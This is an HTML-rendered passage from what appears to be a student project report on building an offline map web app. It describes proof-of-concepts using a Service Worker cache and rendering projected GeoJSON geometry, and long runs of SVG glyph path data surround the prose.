0.08800006 0.26399994 0.25300002 c 0 0.143 -0.12099981 0.25300002 -0.26399994 0.25300002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gB94B0503E73A4218271A476A273D1963" overflow="visible"&gt;&lt;path d="M 0 0m 8.129 5.841 c 0 0.5609999 -0.28599977 0.9899998 -0.84699965 1.2979999 c -0.4510002 0.25300026 -0.99000025 0.37400007 -1.5950003 0.37400007 h -3.1019998 c -0.25300002 0 -0.36300015 -0.011000156 -0.36300015 -0.26399994 c 0 -0.07700014 0.032999992 -0.13199997 0.099000216 -0.14300013 c 0.109999895 -0.011000156 0.19799995 -0.021999836 0.25299978 -0.021999836 c 0.33000016 -0.011000156 0.5170002 -0.032999992 0.572 -0.04400015 c 0.055000067 -0.011000156 0.08800006 -0.04400015 0.08800006 -0.09899998 c 0 -0.021999836 -0.010999918 -0.08799982 -0.04399991 -0.19799995 l -1.452 -5.841 c -0.055000067 -0.24200004 -0.16500008 -0.39600003 -0.33000004 -0.451 c -0.07700002 -0.022000015 -0.27499998 -0.033000022 -0.616 -0.033000022 c -0.24199998 0 -0.341 -0.010999978 -0.341 -0.253 c 0 -0.12099999 0.066000015 -0.176 0.19799998 -0.16499999 l 1.3640001 0.033 l 1.3859999 -0.033 c 0.17600012 -0.011 0.26399994 0.088 0.26399994 0.253 c 0 0.110000014 -0.12099981 0.16499999 -0.352 0.16499999 c -0.43999982 0 -0.65999985 0.055000007 -0.65999985 0.15400004 c 0 0 0.010999918 0.021999955 0.032999992 0.176 l 0.704 2.849 h 1.2649999 c 0.7590003 0 1.144 -0.319 1.144 -0.94599986 c 0 -0.09899998 -0.05499983 -0.34100008 -0.1539998 -0.737 c -0.12100029 -0.462 -0.17600012 -0.77 -0.17600012 -0.93500006 c 0 -0.83599997 0.64900017 -1.221 1.4850001 -1.221 c 0.3079996 0 0.605 0.143 0.90199995 0.41799998 c 0.29699993 0.275 0.4510002 0.572 0.4510002 0.88 c 0 0.110000014 -0.055000305 0.16499996 -0.1760006 0.16499996 c -0.076999664 0 -0.14299965 -0.054999948 -0.17599964 -0.176 c -0.12100029 -0.34099996 -0.2750001 -0.594 -0.4510002 -0.737 c -0.17600012 -0.143 -0.34100008 -0.22 -0.50600004 -0.22 c -0.25299978 0 -0.38499975 0.20899999 -0.38499975 0.616 c 0 0.264 0.032999992 0.671 0.11000013 1.232 c 0.032999992 0.23100007 0.043999672 0.39600003 0.043999672 0.5170001 c 0 0.58299994 -0.3080001 1.0119998 -0.9239998 1.276 c 1.0339999 0.25299978 2.2879996 0.9899998 2.2879996 2.112 Z m -1.4299998 0.93499994 c 0.22000027 -0.14300013 0.32999992 -0.38500023 0.32999992 -0.72599983 c 0 -0.22000027 -0.043999672 -0.47300005 -0.14299965 -0.77000046 c -0.2970004 -0.90199995 -1.0450001 -1.3529997 -2.244 -1.3529997 h -1.1660001 l 0.6930001 2.783 c 0.05499983 0.23099995 0.14299965 0.35199976 0.26399994 0.36299992 c 0.05499983 0.011000156 0.2750001 0.011000156 0.65999985 0.011000156 c 0.71500015 0 1.1329999 -0.022000313 1.606 -0.3080001 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gCC5451BEECA4B84ABCFEB6565A2345D" overflow="visible"&gt;&lt;path d="M 0 0m 1.584 0.033 l 1.2210001 -0.033 v 0.429 c -0.39600015 0 -0.638 0.011000007 -0.71500015 0.055000007 c -0.0769999 0.044 -0.109999895 0.17599997 -0.109999895 0.38500002 v 6.765 l -1.617 -0.12099981 v -0.41800022 c 0.38500002 0 0.627 -0.032999992 0.704 -0.09899998 c 0.07700002 -0.065999985 0.12099993 -0.21999979 0.12099993 -0.47300005 v -5.654 c 0 -0.20900005 -0.032999992 -0.34100002 -0.110000014 -0.38500002 c -0.0769999 -0.044 -0.31899995 -0.055000007 -0.7149999 -0.055000007 v -0.429 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gE74A1DA1461DD173556392A3E12594E8" overflow="visible"&gt;&lt;path d="M 0 0m 3.454 4.5429997 c 0.4949999 0 0.74800014 -0.38499975 0.74800014 -1.1659997 v -2.5080001 c 0 -0.20900005 -0.032999992 -0.34100002 -0.11000013 -0.38500002 c -0.07700014 -0.044 -0.319 -0.066000015 -0.7260001 -0.066000015 v -0.41799998 l 1.2650001 0.033 l 1.2539997 -0.033 v 0.41799998 c -0.35199976 0 -0.5829997 0.011000007 -0.69299984 0.04400003 c -0.11000013 0.032999992 -0.1539998 0.110000014 -0.1539998 0.24199998 v 2.057 c 0 0.51699996 -0.011000156 0.8800001 -0.04400015 1.089 c -0.11000013 0.671 -0.605 1.0120001 -1.474 1.0120001 c -0.6930001 0 -1.21 -0.32999992 -1.551 -0.99 v 0.99 l -1.617 -0.12099981 v -0.41800022 c 0.39600003 0 0.638 -0.032999992 0.72599995 -0.09899998 c 0.08800006 -0.065999985 0.12100005 -0.20900011 0.12100005 -0.4619999 v -2.8930001 c 0 -0.20900005 -0.04400003 -0.34100002 -0.12100005 -0.38500002 c -0.0769999 -0.044 -0.31899995 -0.066000015 -0.72599995 -0.066000015 v -0.41799998 l 1.265 0.033 l 1.2540001 -0.033 v 0.41799998 c -0.40700006 0 -0.638 0.022000015 -0.71500015 0.066000015 c -0.0769999 0.044 -0.12099981 0.17599997 -0.12099981 0.38500002 v 1.98 c 0 0.89100003 0.5609999 1.6939998 1.4189999 1.6939998 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g37B513BA8D64390002A04A49B67CCAF" overflow="visible"&gt;&lt;path d="M 0 0m 3.652 1.386 v 0.65999997 h -0.352 v -0.638 c 0 -0.55 -0.19799995 -1.166 -0.6819999 -1.166 c -0.45099998 0 -0.671 0.374 -0.671 1.122 v 2.981 h 1.529 v 0.41800022 h -1.529 v 2.0019999 h -0.352 c -0.011000037 -0.36299992 -0.04400003 -0.6819997 -0.12100005 -0.96799994 c -0.18700004 -0.72599983 -0.616 -1.0999999 -1.265 -1.1329999 v -0.31900024 h 0.913 v -2.9589996 c 0 -0.64900005 0.19799995 -1.067 0.58300006 -1.276 c 0.29700005 -0.154 0.5719999 -0.231 0.847 -0.231 c 0.72599983 0 1.0999999 0.726 1.0999999 1.5070001 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g90FAD8882417A70A245EA7AF3E069E28" overflow="visible"&gt;&lt;path d="M 0 0m 5.313 1.001 v 0.6489999 h -0.35200024 v -0.6489999 c 0 -0.42900002 -0.12099981 -0.64900005 -0.35199976 -0.64900005 c -0.22000027 0 -0.35200024 0.27499998 -0.35200024 0.495 v 2.1669998 c 0 0.385 -0.04400015 0.671 -0.12099981 0.86899996 c -0.26400018 0.64900017 -1.0230002 1.0450001 -1.7930002 1.0450001 c -0.8469999 0 -1.683 -0.47300005 -1.683 -1.2650001 c 0 -0.36299992 0.18700004 -0.54999995 0.5500001 -0.54999995 c 0.36299992 0 0.5389999 0.17600012 0.5389999 0.53900003 c 0 0.319 -0.16499996 0.50600004 -0.5059999 0.53900003 c 0.24199998 0.2750001 0.605 0.41800022 1.0780001 0.41800022 c 0.6819999 0 1.0999999 -0.62700033 1.0999999 -1.3420002 v -0.36299992 c -0.85800004 -0.055000067 -1.507 -0.18700004 -1.9580001 -0.39600015 c -0.7369999 -0.34099984 -1.111 -0.8139999 -1.111 -1.4409999 c 0 -0.286 0.110000014 -0.52800006 0.319 -0.71500003 c 0.352 -0.319 0.83599997 -0.473 1.4519999 -0.473 c 0.64900017 0 1.1110001 0.275 1.3970001 0.83599997 c 0.0769999 -0.41799998 0.385 -0.78099996 0.8579998 -0.78099996 c 0.5830002 0 0.9350004 0.462 0.9350004 1.067 Z m -3.1130002 -0.80300003 c -0.50600004 0 -0.924 0.374 -0.924 0.87999994 c 0 1.0230001 1.0669999 1.4629999 2.145 1.518 v -1.045 c 0 -0.737 -0.48399997 -1.353 -1.221 -1.353 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g6DD9E8DF00340CD54DF7DB1A55132A8D" overflow="visible"&gt;&lt;path d="M 0 0m 7.2599998 -10.406 c 0.16500044 0 0.2420001 0.07700062 0.2420001 0.24200058 c 0 0.076999664 -0.032999992 0.14299965 -0.08799982 0.18699932 c -0.74800014 0.5609999 -1.4190001 1.4300003 -2.0240002 2.6070004 c -1.0669999 2.0900002 -1.8699999 5.071 -1.8699999 8.085 v 4.0699997 c 0 1.375 0.16499996 2.7610002 0.4840002 4.158 c 0.572 2.5299997 1.7489996 5.2799997 3.4099998 6.5340004 c 0.05499983 0.043999672 0.08799982 0.10999966 0.08799982 0.18699932 c 0 0.16499996 -0.076999664 0.24200058 -0.2420001 0.24200058 c -0.043999672 0 -0.08799982 -0.022000313 -0.14299965 -0.055000305 c -0.803 -0.60499954 -1.5620003 -1.507 -2.277 -2.7060003 c -1.2430003 -2.0899992 -2.354 -5.2469997 -2.354 -8.36 v -4.0699997 c 0 -2.9369998 1.0339999 -5.962 2.1560001 -8.019 c 0.74799967 -1.3529997 1.573 -2.3760004 2.475 -3.047 c 0.05499983 -0.032999992 0.09899998 -0.055000305 0.14299965 -0.055000305 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g96E425714DA052F0B9D8999A94C796EA" overflow="visible"&gt;&lt;path d="M 0 0m 3.883 7.447 c -0.09899998 0 -0.1869998 -0.05499983 -0.25300002 -0.15400028 l -3.3219998 -5.104 v -0.3959999 h 2.8709998 v -0.902 c 0 -0.19799995 -0.04399991 -0.32999998 -0.12099981 -0.385 c -0.07700014 -0.054999977 -0.286 -0.07699999 -0.64900017 -0.07699999 h -0.27499986 v -0.429 c 0.319 0.022 0.8249998 0.033 1.507 0.033 c 0.6819999 0 1.188 -0.011 1.5069997 -0.033 v 0.429 h -0.27499962 c -0.3630004 0 -0.572 0.022000015 -0.64900017 0.07699999 c -0.07700014 0.055000007 -0.12099981 0.18700004 -0.12099981 0.385 v 0.902 h 1.0779996 v 0.4289999 h -1.0779996 v 5.038 c 0 0.11000013 -0.07700014 0.18700027 -0.22000027 0.18700027 Z m -0.638 -1.3639998 v -3.8610003 h -2.508 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g5221BB71B67A32DFA4EBA8DAD89FD215" overflow="visible"&gt;&lt;path d="M 0 0m 1.298 3.465 c 0.055000067 0 0.12100005 0.04400015 0.176 0.12100005 c 0.33000004 0.4949999 0.7809999 0.737 1.3529999 0.737 c 0.385 0 0.68200016 -0.21999979 0.8800001 -0.671 c 0.12100005 -0.29699993 0.18700004 -0.7479999 0.18700004 -1.3529999 c 0 -0.6930001 -0.08800006 -1.177 -0.25300002 -1.463 c -0.2750001 -0.45099998 -0.6489999 -0.682 -1.122 -0.682 c -0.7370001 0 -1.32 0.528 -1.518 1.0999999 c 0.032999992 -0.010999918 0.054999948 0 0.09899998 0 c 0.32999992 0 0.605 0.25300002 0.605 0.58300006 c 0 0.34099996 -0.2750001 0.5719999 -0.605 0.5719999 c -0.38500005 0 -0.55 -0.20899987 -0.55 -0.61599994 c 0 -1.0999999 0.891 -2.035 1.9909999 -2.035 c 0.671 0 1.243 0.242 1.7049999 0.726 c 0.46200037 0.484 0.6930003 1.067 0.6930003 1.7379999 c 0 0.638 -0.18700027 1.1880002 -0.56100035 1.661 c -0.40699983 0.5170002 -0.91299987 0.77 -1.5289998 0.77 c -0.51699996 0 -0.96799994 -0.16499996 -1.331 -0.4949999 v 1.9580002 c 0.29699993 -0.0880003 0.58300006 -0.13199997 0.88 -0.13199997 c 0.50600004 0 0.94599986 0.12099981 1.3199999 0.3739996 c 0.34100008 0.20900011 0.572 0.41800022 0.704 0.6160002 c 0.065999985 0.08799982 0.09899998 0.1539998 0.09899998 0.1869998 c 0 0.11000013 -0.05499983 0.16499996 -0.16499996 0.16499996 c -0.605 -0.23099995 -1.122 -0.35199976 -1.54 -0.35199976 c -0.4949999 0 -0.96799994 0.09899998 -1.419 0.3080001 c -0.054999948 0.021999836 -0.09899998 0.032999992 -0.143 0.032999992 c -0.09899998 0 -0.15399992 -0.09899998 -0.15399992 -0.3080001 v -3.212 c 0 -0.23100019 0 -0.33000016 0.19799995 -0.33000016 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g271E8A5CE66D10B7B9EE9596B45F2012" overflow="visible"&gt;&lt;path d="M 0 0m 2.7412 1.925 c 0 0.6391001 -0.5158999 1.155 -1.155 1.155 c -0.6391 0 -1.155 -0.5158999 -1.155 -1.155 c 0 -0.63909996 0.5159 -1.155 1.155 -1.155 c 0.6391001 0 1.155 0.5159 1.155 1.155 Z m -0.3541999 0 c 0 -0.44659996 -0.35420012 -0.80079997 -0.8008001 -0.80079997 c -0.44659996 0 -0.8008 0.3542 -0.8008 0.80079997 c 0 0.44659996 0.35420007 0.8008001 0.8008 0.8008001 c 0.44659996 0 0.8008001 -0.35420012 0.8008001 -0.8008001 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g47CD197A6E96793962ED8F7E2A9BF9CE" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 3.014 h -3.1350002 v 3.1350002 c 0 0.17599964 -0.08799982 0.26399994 -0.26399994 0.26399994 c -0.17599964 0 -0.26399994 -0.0880003 -0.26399994 -0.26399994 v -3.1350002 h -3.1349998 c -0.176 0 -0.264 -0.08800006 -0.264 -0.26399994 c 0 -0.17600012 0.088 -0.26399994 0.264 -0.26399994 h 3.1349998 v -3.135 c 0 -0.176 0.0880003 -0.264 0.26399994 -0.264 c 0.17600012 0 0.26399994 0.088 0.26399994 0.264 v 3.135 h 3.1350002 c 0.17600012 0 0.26399994 0.08799982 0.26399994 0.26399994 c 0 0.14299989 -0.12099981 0.26399994 -0.26399994 0.26399994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g8E0CA508A97FCEB9A01647420D81994A" overflow="visible"&gt;&lt;path d="M 0 0m 4.235 4.895 c 0.20899963 0.86899996 0.4289999 1.7160001 0.62699986 2.585 v 0.032999992 c -0.032999992 0.07700014 -0.08799982 0.12099981 -0.17600012 0.12099981 c -0.09899998 0 -0.16499996 -0.08799982 -0.19799995 -0.25299978 l -0.62699986 -2.486 c -0.82500005 -0.032999992 -1.573 -0.34100008 -2.244 -0.9130001 c -0.715 -0.6049998 -1.0780001 -1.3089998 -1.0780001 -2.112 c 0 -1.188 0.91300005 -1.947 2.0679998 -2.013 c -0.20899987 -0.86899996 -0.36299992 -1.4959999 -0.4619999 -1.87 c -0.010999918 -0.032999992 -0.010999918 -0.065999985 -0.010999918 -0.0769999 c 0 -0.11000013 0.05499983 -0.16499996 0.17599988 -0.16499996 c 0.12100005 0 0.15400004 0.065999985 0.18700004 0.19799995 l 0.48399997 1.9029999 c 0.82500005 0.033 1.573 0.34100002 2.244 0.913 c 0.71500015 0.616 1.0780001 1.3199999 1.0780001 2.123 c 0 1.177 -0.93499994 1.914 -2.0679998 2.013 Z m -0.0880003 -0.32999992 c 0.83599997 -0.055000305 1.3640003 -0.572 1.3640003 -1.4520001 c 0 -0.43999982 -0.09899998 -0.8799999 -0.2970004 -1.3089999 c -0.35199976 -0.79200006 -1.1549997 -1.518 -2.1559997 -1.617 Z m -2.816 -2.926 c 0 0.44000006 0.09899998 0.8800001 0.29700005 1.309 c 0.352 0.79200006 1.155 1.507 2.145 1.6170001 l -1.089 -4.389 c -0.82500005 0.066 -1.353 0.583 -1.353 1.4629999 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g19DB37D42873A9E80AFC41942A4D40C4" overflow="visible"&gt;&lt;path d="M 0 0m 2.6069999 7.3259997 c -0.5609999 0 -1.0339999 -0.19799995 -1.4409999 -0.59399986 c -0.407 -0.3959999 -0.616 -0.8579998 -0.616 -1.4189997 c 0 -0.37400007 0.27499998 -0.64900017 0.616 -0.64900017 c 0.33000004 0 0.605 0.28599977 0.605 0.6159997 c 0 0.3630004 -0.26400006 0.6160002 -0.61600006 0.6160002 c -0.032999992 0 -0.054999948 0 -0.07700002 -0.011000156 c 0.20899999 0.53900003 0.6930001 1.0120001 1.386 1.0120001 c 0.90199995 0 1.408 -0.78099966 1.408 -1.7269998 c 0 -0.737 -0.37400007 -1.529 -1.122 -2.365 l -2.068 -2.332 c -0.143 -0.16499999 -0.13199997 -0.15399998 -0.13199997 -0.473 h 4.081 l 0.31899977 1.98 h -0.36299992 c -0.08799982 -0.561 -0.16499996 -0.88 -0.23099995 -0.979 c -0.05499983 -0.055000067 -0.385 -0.07700002 -0.99 -0.07700002 h -1.8369999 l 1.0669999 1.045 c 0.7479999 0.7040001 1.694 1.4629999 2.0130002 2.046 c 0.21999979 0.38500023 0.32999992 0.77 0.32999992 1.1550002 c 0 1.2979999 -1.0120001 2.1559997 -2.3320003 2.1559997 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g2CF49FBCA8BCC5987D9958231542E6CA" overflow="visible"&gt;&lt;path d="M 0 0m 0.979 -10.351 c 0.803 0.60499954 1.5619999 1.507 2.277 2.7059999 c 1.243 2.079 2.354 5.2469997 2.354 8.36 v 4.0699997 c 0 2.9370003 -1.0339999 5.962 -2.1560001 8.019 c -0.7479999 1.3529997 -1.573 2.3760004 -2.475 3.047 c -0.054999948 0.032999992 -0.09899998 0.055000305 -0.143 0.055000305 c -0.16499996 0 -0.24199998 -0.07700062 -0.24199998 -0.24200058 c 0 -0.076999664 0.032999992 -0.14299965 0.088 -0.18699932 c 0.74799997 -0.5609999 1.4190001 -1.4300003 2.0240002 -2.6070004 c 1.0669999 -2.0900002 1.8700001 -5.071 1.8700001 -8.085 v -4.0699997 c 0 -1.375 -0.16500044 -2.761 -0.4840002 -4.158 c -0.572 -2.53 -1.7490001 -5.2799997 -3.41 -6.5340004 c -0.055000007 -0.043999672 -0.088 -0.10999966 -0.088 -0.18699932 c 0 -0.16499996 0.07700002 -0.24200058 0.24199998 -0.24200058 c 0.04400003 0 0.08800006 0.022000313 0.143 0.055000305 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;
&lt;/div&gt;
&lt;h2&gt;Proof-of-concept development process&lt;/h2&gt;
&lt;p&gt;As part of the development process, I have created a number of proof of concepts, that each build on each other. These have helped me to understand, test, and evaluate various technologies that I could use to build the final application.&lt;/p&gt;
&lt;h3&gt;Simple offline HTML5 app&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Source in &lt;code&gt;proof-of-concepts/1-offline-html5&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;My first proof of concept was a basic offline HTML5 application, employing the techniques that I researched in Section &lt;a href="#loc-37"&gt;2.2&lt;/a&gt;. Since the &lt;code&gt;Application Cache&lt;/code&gt; has been deprecated, the accepted way to create an offline HTML5 app is to use Service Workers &lt;a href="#loc-131" role="doc-biblioref"&gt;[31]&lt;/a&gt;. The concept behind this is that the Service Worker intercepts all HTTP requests that are made on the website, and can then respond to this request with a result from a prepopulated cache.&lt;/p&gt;
&lt;p&gt;In addition to creating an offline HTML5 app, I also learned how to store a large binary blob. This will be necessary for my project, as this is how the map data will be stored. To this end I looked at using both the Service Worker cache, and the File API.&lt;/p&gt;
&lt;p&gt;The File API works like a traditional file picker — allowing the user to choose some file from their local filesystem &lt;a href="#loc-128" role="doc-biblioref"&gt;[28]&lt;/a&gt;. This is useful, but does not provide an excellent user experience. For example, the user would have to download a map file to some location on their computer, then select it in the file picker every time they want to view a map. This violates Nielsen’s “Recognition, not recall” heuristic &lt;a id="loc-65" href="#loc-148" role="doc-biblioref"&gt;[48]&lt;/a&gt;, as the application should work without the user having to remember where they saved the map file.&lt;/p&gt;
&lt;p&gt;Therefore, it is preferred to use the Service Worker cache method, where you store the file inside the web browser’s cache. You can store binary blobs in the same way as any other website resources:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typescript"&gt;self.&lt;span style="color: #4b69c6"&gt;addEventListener&lt;/span&gt;(&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;install&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;, (event) &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;event&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;waitUntil&lt;/span&gt;(&lt;br&gt; &lt;span style="color: #4b69c6"&gt;addResourcesToCache&lt;/span&gt;([&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;/index.html&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;, &lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;/blob.map&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;]) &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; prepopulate cache&lt;/span&gt;&lt;br&gt;));&lt;br&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;const&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;cacheFirst&lt;/span&gt; &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #d73948"&gt;async&lt;/span&gt; ({ request }) &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; {&lt;br&gt; &lt;span style="color: #d73948"&gt;const&lt;/span&gt; responseFromCache &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #d73948"&gt;await&lt;/span&gt; caches.&lt;span style="color: #4b69c6"&gt;match&lt;/span&gt;(request);&lt;br&gt; &lt;span style="color: #d73948"&gt;if&lt;/span&gt; (responseFromCache) { &lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; try to get the resource from the cache&lt;/span&gt;&lt;br&gt; &lt;span style="color: #d73948"&gt;return&lt;/span&gt; responseFromCache;&lt;br&gt; }&lt;br&gt;&lt;br&gt; &lt;span style="color: #d73948"&gt;return&lt;/span&gt; &lt;span style="color: #d73948"&gt;new&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;Response&lt;/span&gt;(&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;could not retrieve from cache&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;, {&lt;br&gt; status: &lt;span style="color: #b60157"&gt;408&lt;/span&gt;,&lt;br&gt; headers: { &lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;Content-Type&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;: &lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;text/plain&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt; },&lt;br&gt; });&lt;br&gt;};&lt;br&gt;&lt;br&gt;&lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; the fetch event will intercept all HTTP requests made by the website&lt;/span&gt;&lt;br&gt;&lt;span style="color: #74747c"&gt;//&lt;/span&gt;&lt;span style="color: #74747c"&gt; such as JavaScript fetch() calls, or HTML &amp;lt;img&gt; tags&lt;/span&gt;&lt;br&gt;self.&lt;span style="color: #4b69c6"&gt;addEventListener&lt;/span&gt;(&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;fetch&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;, (event) &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;event&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;respondWith&lt;/span&gt;(&lt;br&gt; &lt;span style="color: #4b69c6"&gt;cacheFirst&lt;/span&gt;({request: &lt;span style="color: #4b69c6"&gt;event&lt;/span&gt;.request})&lt;br&gt;));&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3&gt;Rendering geometry to a canvas&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Source in &lt;code&gt;proof-of-concepts/2-rendering-a-way&lt;/code&gt;, online demo at &lt;a href="https://files.george.honeywood.org.uk/2-rendering-a-way/"&gt;&lt;code&gt;files.george.honeywood.org.uk/2-rendering-a-way/&lt;/code&gt;&lt;/a&gt;, or &lt;a href="https://youtu.be/2F_vpCrQsO4"&gt;demo video&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;My second proof of concept was to draw some geographical data onto the canvas. As a first step, I had to acquire some data to project. As this was a simple proof of concept I decided to use the GeoJSON format, which is a popular standard for representing geodata, in a fairly human-readable format. The main reason I chose it was that it is easier to parse in JavaScript than the XML data that the OpenStreetMap API provides &lt;a href="#loc-109" role="doc-biblioref"&gt;[9]&lt;/a&gt;. For my first test, I attempted to render the boundary of Egham, which is currently &lt;a href="https://www.openstreetmap.org/way/666914693"&gt;way 666914693&lt;/a&gt;. To convert XML data from OpenStreetMap I used the online &lt;code&gt;geojson.io&lt;/code&gt; tool, which allows you to import OSM XML and export GeoJSON &lt;a id="loc-66" href="#loc-149" role="doc-biblioref"&gt;[49]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The main challenge I wanted to solve in this proof of concept was projecting the data. This stage is necessary, as OpenStreetMap data comes in the WGS84 CRS, and while this can be naively plotted on a graph as &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 2.3126666666666664em; height: 0.683em;" viewBox="0 0 25.43933333333333 7.513000000000001" width="25.43933333333333pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 4.279 7.513000000000001)"&gt;&lt;use xlink:href="#g288EB05AEC3878210F61A71EB8174F80" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 10.570999999999998 7.513000000000001)"&gt;&lt;use xlink:href="#gA1BDADE771CC07CEBCEC397EA5E3F220" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 15.462333333333332 7.513000000000001)"&gt;&lt;use xlink:href="#gD1F0DEADEB395B3F5C60AD3163D51B32" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 21.16033333333333 7.513000000000001)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g288EB05AEC3878210F61A71EB8174F80" overflow="visible"&gt;&lt;path d="M 0 0m 5.797 4.103 c 0 0.50600004 -0.4949999 0.7589998 -1.0450001 0.7589998 c -0.47300005 0 -0.8469999 -0.25299978 -1.1329999 -0.7589998 c -0.23099995 0.50600004 -0.61599994 0.7589998 -1.177 0.7589998 c -0.5389999 0 -0.979 -0.25299978 -1.331 -0.74800014 c -0.29699993 -0.4289999 -0.45099998 -0.7479999 -0.45099998 -0.9569998 c 0 -0.09899998 0.055000007 -0.15400004 0.16500002 -0.15400004 c 0.09900004 0 0.16500002 0.055000067 0.18699998 0.15400004 c 0.20899999 0.638 0.671 1.3859997 1.4080001 1.3859997 c 0.36299992 0 0.5389998 -0.23099995 0.5389998 -0.6819997 c 0 -0.23100019 -0.19799995 -1.089 -0.58299994 -2.5630002 c -0.18700004 -0.737 -0.51699996 -1.1 -0.9899999 -1.1 c -0.15400004 0 -0.29700005 0.033000007 -0.41800004 0.088000014 c 0.28599995 0.109999985 0.42899996 0.30799997 0.42899996 0.594 c 0 0.286 -0.143 0.42900002 -0.43999994 0.42900002 c -0.36300004 0 -0.638 -0.30799997 -0.638 -0.671 c 0 -0.50600004 0.51699996 -0.759 1.056 -0.759 c 0.462 0 0.83599997 0.253 1.1329999 0.759 c 0.20900011 -0.50600004 0.605 -0.759 1.177 -0.759 c 0.5279999 0 0.96799994 0.253 1.3200002 0.74799997 c 0.29699993 0.42900002 0.45099974 0.748 0.45099974 0.957 c 0 0.09899998 -0.05499983 0.15400004 -0.16499996 0.15400004 c -0.09899998 0 -0.1539998 -0.055000067 -0.1869998 -0.15400004 c 